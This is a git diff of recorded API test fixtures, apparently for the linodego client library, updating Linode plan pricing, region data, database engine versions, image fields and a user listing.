"g6-standard-8", "label": "Linode - 32GB", "price": {"hourly": 0.24, "monthly": 160.0}, "addons": {"backups": {"price": + 32GB", "price": {"hourly": 0.288, "monthly": 192.0}, "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}}}, "memory": 32768, "disk": 655360, "transfer": 16000, "vcpus": 8, "gpus": 0, "network_out": 7000, "class": "standard", "successor": null}, {"id": "g6-standard-16", "label": "Linode 64GB", "price": {"hourly": - 0.48, "monthly": 320.0}, "addons": {"backups": {"price": {"hourly": 0.12, "monthly": + 0.576, "monthly": 384.0}, "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}}}, "memory": 65536, "disk": 1310720, "transfer": 20000, "vcpus": 16, "gpus": 0, "network_out": 9000, "class": "standard", "successor": null}, {"id": "g6-standard-20", - "label": "Linode 96GB", "price": {"hourly": 0.72, "monthly": 480.0}, "addons": + "label": "Linode 96GB", "price": {"hourly": 0.864, "monthly": 576.0}, "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}}}, "memory": 98304, "disk": 1966080, "transfer": 20000, "vcpus": 20, "gpus": 0, "network_out": 10000, "class": "standard", "successor": null}, {"id": "g6-standard-24", "label": "Linode - 128GB", "price": {"hourly": 0.96, "monthly": 640.0}, "addons": {"backups": {"price": - {"hourly": 0.24, "monthly": 160.0}}}, "memory": 131072, "disk": 2621440, "transfer": - 20000, "vcpus": 24, "gpus": 0, "network_out": 11000, "class": "standard", "successor": - null}, {"id": "g6-standard-32", "label": "Linode 192GB", "price": {"hourly": - 1.44, "monthly": 960.0}, "addons": {"backups": {"price": {"hourly": 0.36, "monthly": - 240.0}}}, "memory": 196608, "disk": 3932160, "transfer": 20000, "vcpus": 32, - "gpus": 0, "network_out": 12000, "class": "standard", "successor": null}, {"id": - "g7-highmem-1", "label": "Linode 24GB", "price": {"hourly": 0.09, "monthly": - 60.0}, "addons": {"backups": {"price": {"hourly": 0.0075, "monthly": 5.0}}}, - "memory": 24576, "disk": 20480, "transfer": 5000, "vcpus": 2, "gpus": 0, "network_out": - 5000, "class": "highmem", "successor": null}, {"id": "g7-highmem-2", "label": - "Linode 48GB", "price": {"hourly": 0.18, "monthly": 120.0}, "addons": {"backups": - {"price": {"hourly": 0.015, "monthly": 10.0}}}, "memory": 49152, "disk": 40960, - "transfer": 6000, "vcpus": 2, "gpus": 0, "network_out": 6000, "class": "highmem", - "successor": null}, {"id": "g7-highmem-4", "label": "Linode 90GB", "price": - {"hourly": 0.36, "monthly": 240.0}, "addons": {"backups": {"price": {"hourly": - 0.03, "monthly": 20.0}}}, "memory": 92160, "disk": 92160, "transfer": 7000, - "vcpus": 4, "gpus": 0, "network_out": 7000, "class": "highmem", "successor": + 128GB", "price": {"hourly": 1.152, "monthly": 768.0}, "addons": {"backups": + {"price": {"hourly": 0.24, "monthly": 160.0}}}, "memory": 131072, "disk": 2621440, + "transfer": 20000, "vcpus": 24, "gpus": 0, "network_out": 11000, "class": "standard", + "successor": null}, {"id": "g6-standard-32", "label": "Linode 192GB", "price": + {"hourly": 1.728, "monthly": 1152.0}, "addons": {"backups": {"price": {"hourly": + 0.36, "monthly": 240.0}}}, "memory": 196608, "disk": 3932160, "transfer": 20000, + "vcpus": 32, "gpus": 0, "network_out": 12000, "class": "standard", "successor": + null}, {"id": "g7-highmem-1", "label": "Linode 24GB", "price": {"hourly": 0.09, + "monthly": 60.0}, "addons": {"backups": {"price": {"hourly": 0.0075, "monthly": + 5.0}}}, "memory": 24576, "disk": 20480, "transfer": 5000, "vcpus": 2, "gpus": + 0, "network_out": 5000, "class": "highmem", "successor": null}, {"id": "g7-highmem-2", + "label": "Linode 48GB", "price": {"hourly": 0.18, "monthly": 120.0}, "addons": + {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}}}, "memory": 49152, + "disk": 40960, "transfer": 6000, "vcpus": 2, "gpus": 0, "network_out": 6000, + "class": "highmem", "successor": null}, {"id": "g7-highmem-4", "label": "Linode + 90GB", "price": {"hourly": 0.36, "monthly": 240.0}, "addons": {"backups": {"price": + {"hourly": 0.03, "monthly": 20.0}}}, "memory": 92160, "disk": 92160, "transfer": + 7000, "vcpus": 4, "gpus": 0, "network_out": 7000, "class": "highmem", "successor": null}, {"id": "g7-highmem-8", "label": "Linode 150GB", "price": {"hourly": 0.72, "monthly": 480.0}, "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}}}, "memory": 153600, "disk": 204800, "transfer": 8000, "vcpus": 8, "gpus": @@ -70,72 +70,57 @@ interactions: {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}}}, "memory": 307200, "disk": 348160, "transfer": 9000, "vcpus": 16, "gpus": 0, "network_out": 9000, "class": "highmem", "successor": null}, {"id": "g6-dedicated-2", "label": "Dedicated - 4GB", "price": {"hourly": 0.045, "monthly": 30.0}, "addons": {"backups": {"price": + 4GB", "price": {"hourly": 0.054, "monthly": 36.0}, "addons": {"backups": {"price": {"hourly": 0.008, "monthly": 5.0}}}, "memory": 4096, "disk": 81920, "transfer": 4000, "vcpus": 2, "gpus": 0, "network_out": 4000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-4", "label": "Dedicated 8GB", "price": {"hourly": - 0.09, "monthly": 60.0}, "addons": {"backups": {"price": {"hourly": 0.015, "monthly": + 0.108, "monthly": 72.0}, "addons": {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}}}, "memory": 8192, "disk": 163840, "transfer": 5000, "vcpus": 4, "gpus": 0, "network_out": 5000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-8", - "label": "Dedicated 16GB", "price": {"hourly": 0.18, "monthly": 120.0}, "addons": + "label": "Dedicated 16GB", "price": {"hourly": 0.216, "monthly": 144.0}, "addons": {"backups": {"price": {"hourly": 0.03, "monthly": 20.0}}}, "memory": 16384, "disk": 327680, "transfer": 6000, "vcpus": 8, "gpus": 0, "network_out": 6000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-16", "label": - "Dedicated 32GB", "price": {"hourly": 0.36, "monthly": 240.0}, "addons": {"backups": + "Dedicated 32GB", "price": {"hourly": 0.432, "monthly": 288.0}, "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}}}, "memory": 32768, "disk": 655360, "transfer": 7000, "vcpus": 16, "gpus": 0, "network_out": 7000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-32", "label": "Dedicated 64GB", "price": - {"hourly": 0.72, "monthly": 480.0}, "addons": {"backups": {"price": {"hourly": + {"hourly": 0.864, "monthly": 576.0}, "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}}}, "memory": 65536, "disk": 1310720, "transfer": 8000, "vcpus": 32, "gpus": 0, "network_out": 8000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-48", "label": "Dedicated 96GB", "price": {"hourly": - 1.08, "monthly": 720.0}, "addons": {"backups": {"price": {"hourly": 0.18, "monthly": + 1.296, "monthly": 864.0}, "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}}}, "memory": 98304, "disk": 1966080, "transfer": 9000, "vcpus": 48, "gpus": 0, "network_out": 9000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-50", - "label": "Dedicated 128GB", "price": {"hourly": 1.44, "monthly": 960.0}, "addons": + "label": "Dedicated 128GB", "price": {"hourly": 1.728, "monthly": 1152.0}, "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}}}, "memory": 131072, "disk": 2560000, "transfer": 10000, "vcpus": 50, "gpus": 0, "network_out": 10000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-56", "label": - "Dedicated 256GB", "price": {"hourly": 2.88, "monthly": 1920.0}, "addons": {"backups": - {"price": {"hourly": 0.3, "monthly": 200.0}}}, "memory": 262144, "disk": 5120000, - "transfer": 11000, "vcpus": 56, "gpus": 0, "network_out": 11000, "class": "dedicated", - "successor": null}, {"id": "g6-dedicated-64", "label": "Dedicated 512GB", "price": - {"hourly": 5.76, "monthly": 3840.0}, "addons": {"backups": {"price": {"hourly": - 0.36, "monthly": 240.0}}}, "memory": 524288, "disk": 7372800, "transfer": 12000, - "vcpus": 64, "gpus": 0, "network_out": 12000, "class": "dedicated", "successor": - null}, {"id": "g1-gpu-rtx6000-1", "label": "Dedicated 32GB + RTX6000 GPU x1", - "price": {"hourly": 1.5, "monthly": 1000.0}, "addons": {"backups": {"price": - {"hourly": 0.06, "monthly": 40.0}}}, "memory": 32768, "disk": 655360, "transfer": - 16000, "vcpus": 8, "gpus": 1, "network_out": 10000, "class": "gpu", "successor": - null}, {"id": "g1-gpu-rtx6000-2", "label": "Dedicated 64GB + RTX6000 GPU x2", - "price": {"hourly": 3.0, "monthly": 2000.0}, "addons": {"backups": {"price": - {"hourly": 0.12, "monthly": 80.0}}}, "memory": 65536, "disk": 1310720, "transfer": - 20000, "vcpus": 16, "gpus": 2, "network_out": 10000, "class": "gpu", "successor": - null}, {"id": "g1-gpu-rtx6000-3", "label": "Dedicated 96GB + RTX6000 GPU x3", - "price": {"hourly": 4.5, "monthly": 3000.0}, "addons": {"backups": {"price": - {"hourly": 0.18, "monthly": 120.0}}}, "memory": 98304, "disk": 1966080, "transfer": - 20000, "vcpus": 20, "gpus": 3, "network_out": 10000, "class": "gpu", "successor": - null}, {"id": "g1-gpu-rtx6000-4", "label": "Dedicated 128GB + RTX6000 GPU x4", - "price": {"hourly": 6.0, "monthly": 4000.0}, "addons": {"backups": {"price": - {"hourly": 0.24, "monthly": 160.0}}}, "memory": 131072, "disk": 2621440, "transfer": - 20000, "vcpus": 24, "gpus": 4, "network_out": 10000, "class": "gpu", "successor": - null}, {"id": "g1-metal-b1", "label": "Bare Metal - Tier B Level 1", "price": - {"hourly": 0.05, "monthly": 30.0}, "addons": {"backups": {"price": {"hourly": - null, "monthly": null}}}, "memory": 8192, "disk": 262144, "transfer": 10000, - "vcpus": 8, "gpus": 0, "network_out": 6000, "class": "metal", "successor": null}, - {"id": "g1-metal-b2", "label": "Bare Metal - Tier B Level 2", "price": {"hourly": - 0.06, "monthly": 40.0}, "addons": {"backups": {"price": {"hourly": null, "monthly": - null}}}, "memory": 16384, "disk": 524288, "transfer": 10000, "vcpus": 16, "gpus": - 0, "network_out": 6000, "class": "metal", "successor": null}, {"id": "g1-metal-c1", - "label": "Bare Metal - Tier C Level 1", "price": {"hourly": 0.09, "monthly": - 60.0}, "addons": {"backups": {"price": {"hourly": null, "monthly": null}}}, - "memory": 32768, "disk": 983040, "transfer": 10000, "vcpus": 16, "gpus": 0, - "network_out": 6000, "class": "metal", "successor": null}, {"id": "g1-metal-c2", - "label": "Bare Metal - Tier C Level 2", "price": {"hourly": 0.12, "monthly": - 80.0}, "addons": {"backups": {"price": {"hourly": null, "monthly": null}}}, - "memory": 65536, "disk": 983040, "transfer": 10000, "vcpus": 32, "gpus": 0, - "network_out": 6000, "class": "metal", "successor": null}], "page": 1, "pages": - 1, "results": 32}' + "Dedicated 256GB", "price": {"hourly": 3.456, "monthly": 2304.0}, "addons": + {"backups": {"price": {"hourly": 0.3, "monthly": 200.0}}}, "memory": 262144, + "disk": 5120000, "transfer": 11000, "vcpus": 56, "gpus": 0, "network_out": 11000, + "class": "dedicated", "successor": null}, {"id": "g6-dedicated-64", "label": + "Dedicated 512GB", "price": {"hourly": 6.912, "monthly": 4608.0}, "addons": + {"backups": {"price": {"hourly": 0.36, "monthly": 240.0}}}, "memory": 524288, + "disk": 7372800, "transfer": 12000, "vcpus": 64, "gpus": 0, "network_out": 12000, + "class": "dedicated", "successor": null}, {"id": "g1-gpu-rtx6000-1", "label": + "Dedicated 32GB + RTX6000 GPU x1", "price": {"hourly": 1.5, "monthly": 1000.0}, + "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}}}, "memory": + 32768, "disk": 655360, "transfer": 16000, "vcpus": 8, "gpus": 1, "network_out": + 10000, "class": "gpu", "successor": null}, {"id": "g1-gpu-rtx6000-2", "label": + "Dedicated 64GB + RTX6000 GPU x2", "price": {"hourly": 3.0, "monthly": 2000.0}, + "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}}}, "memory": + 65536, "disk": 1310720, "transfer": 20000, "vcpus": 16, "gpus": 2, "network_out": + 10000, "class": "gpu", "successor": null}, {"id": "g1-gpu-rtx6000-3", "label": + "Dedicated 96GB + RTX6000 GPU x3", "price": {"hourly": 4.5, "monthly": 3000.0}, + "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}}}, "memory": + 98304, "disk": 1966080, "transfer": 20000, "vcpus": 20, "gpus": 3, "network_out": + 10000, "class": "gpu", "successor": null}, {"id": "g1-gpu-rtx6000-4", "label": + "Dedicated 128GB + RTX6000 GPU x4", "price": {"hourly": 6.0, "monthly": 4000.0}, + "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}}}, "memory": + 131072, "disk": 2621440, "transfer": 20000, "vcpus": 24, "gpus": 4, "network_out": + 10000, "class": "gpu", "successor": null}], "page": 1, "pages": 1, "results": + 28}' headers: Access-Control-Allow-Credentials: - "true" diff --git a/test/integration/fixtures/ExampleListUsers.yaml b/test/integration/fixtures/ExampleListUsers.yaml index 6ed8f0640..10273dec5 100644 --- a/test/integration/fixtures/ExampleListUsers.yaml +++ b/test/integration/fixtures/ExampleListUsers.yaml @@ -14,10 +14,10 @@ interactions: url: https://api.linode.com/v4beta/account/users method: GET response: - body: '{"data": [{"username": "lgarber-dev", "email": "REDACTED", "restricted": + body: '{"data": [{"username": "lgarber-dev", "email": "lgarber@akamai.com", "restricted": false, "ssh_keys": ["tf_test_authorized_keys", "main", "tf_test_authorized_keys", "dev-server-rsa", "tf_test_authorized_keys"], "tfa_enabled": true, "verified_phone_number": - null}], "page": 1, "pages": 1, "results": 1}' + null, "password_created": null}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -33,7 +33,7 @@ interactions: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - - "301" + - "327" Content-Security-Policy: - default-src 'none' Content-Type: diff --git a/test/integration/fixtures/TestDatabase_Engine.yaml b/test/integration/fixtures/TestDatabase_Engine.yaml index 956ab2caa..4c843484a 100644 --- a/test/integration/fixtures/TestDatabase_Engine.yaml +++ b/test/integration/fixtures/TestDatabase_Engine.yaml @@ -14,12 +14,13 @@ interactions: url: https://api.linode.com/v4beta/databases/engines method: GET response: - body: '{"data": [{"id": "mysql/5.7.30", "engine": "mysql", "version": "5.7.30"}, - {"id": "mysql/8.0.26", "engine": "mysql", "version": "8.0.26"}, {"id": "postgresql/10.14", - "engine": "postgresql", "version": "10.14"}, {"id": "postgresql/11.11", "engine": - "postgresql", "version": "11.11"}, {"id": "postgresql/12.6", "engine": "postgresql", - "version": "12.6"}, {"id": "postgresql/13.2", "engine": "postgresql", "version": - "13.2"}], "page": 1, "pages": 1, "results": 6}' + body: '{"data": [{"id": "mysql/5.7.39", "engine": "mysql", "version": "5.7.39"}, + {"id": "mysql/8.0.30", "engine": "mysql", "version": "8.0.30"}, {"id": "postgresql/10.23", + "engine": "postgresql", "version": "10.23"}, {"id": "postgresql/11.17", "engine": + "postgresql", "version": "11.17"}, {"id": "postgresql/12.12", "engine": "postgresql", + "version": "12.12"}, {"id": "postgresql/13.8", "engine": "postgresql", "version": + "13.8"}, {"id": "postgresql/14.6", "engine": "postgresql", "version": "14.6"}], + "page": 1, "pages": 1, "results": 7}' headers: Access-Control-Allow-Credentials: - "true" @@ -35,7 +36,7 @@ interactions: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - - "459" + - "531" Content-Security-Policy: - default-src 'none' Content-Type: @@ -73,10 +74,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/engines/mysql/5.7.30 + url: https://api.linode.com/v4beta/databases/engines/mysql%2F5.7.39 method: GET response: - body: '{"id": "mysql/5.7.30", "engine": "mysql", "version": "5.7.30"}' + body: '{"id": "mysql/5.7.39", "engine": "mysql", "version": "5.7.39"}' headers: Access-Control-Allow-Credentials: - "true" diff --git a/test/integration/fixtures/TestImage_GetFound.yaml b/test/integration/fixtures/TestImage_GetFound.yaml index b3cb941d6..b32e4e9a2 100644 --- a/test/integration/fixtures/TestImage_GetFound.yaml +++ b/test/integration/fixtures/TestImage_GetFound.yaml @@ -11,14 +11,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/images/linode/ubuntu16.04lts + url: https://api.linode.com/v4beta/images/linode%2Fubuntu16.04lts method: GET response: body: '{"id": "linode/ubuntu16.04lts", "label": "Ubuntu 16.04 LTS", "deprecated": false, "size": 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": - "available"}' + "available", "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" @@ -34,7 +34,7 @@ interactions: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - - "332" + - "352" Content-Security-Policy: - default-src 'none' Content-Type: diff --git a/test/integration/fixtures/TestImage_Upload.yaml b/test/integration/fixtures/TestImage_Upload.yaml index 24e2a5100..5241b218d 100644 --- a/test/integration/fixtures/TestImage_Upload.yaml +++ b/test/integration/fixtures/TestImage_Upload.yaml @@ -14,56 +14,70 @@ interactions: url: https://api.linode.com/v4beta/regions method: GET response: - body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": + ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": + "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, + {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", + {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", + {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": + {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", + {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "Managed Databases"], "status": "ok", "resolvers": + {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", + {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", + "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + "Vlans", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, + {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": + ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", + "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", + {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage + Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", + {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": + ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", + "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed + Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", - "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", + {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", + "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed + Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", + {"id": "eu-west", "label": "London, UK", "country": "uk", "capabilities": ["Linodes", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": + "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", + {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": + ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", + "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed + Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", + {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", + "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed + Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", + {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": + ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", + "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], - "page": 1, "pages": 1, "results": 11}' + "page": 1, "pages": 1, "results": 13}' headers: Access-Control-Allow-Credentials: - "true" @@ -119,12 +133,12 @@ interactions: url: https://api.linode.com/v4beta/images/upload method: POST response: - body: '{"upload_to": "https://ap-south-1.linodeobjects.com:443/linode-production-machine-images-uploads/17578677?Signature=Z89k5vlBltxWNu0GG%2BPtbebMJQs%3D&Expires=1665504365&AWSAccessKeyID=SANITIZED", - "image": {"id": "private/17578677", "label": "linodego-image-test", "description": + body: '{"upload_to": 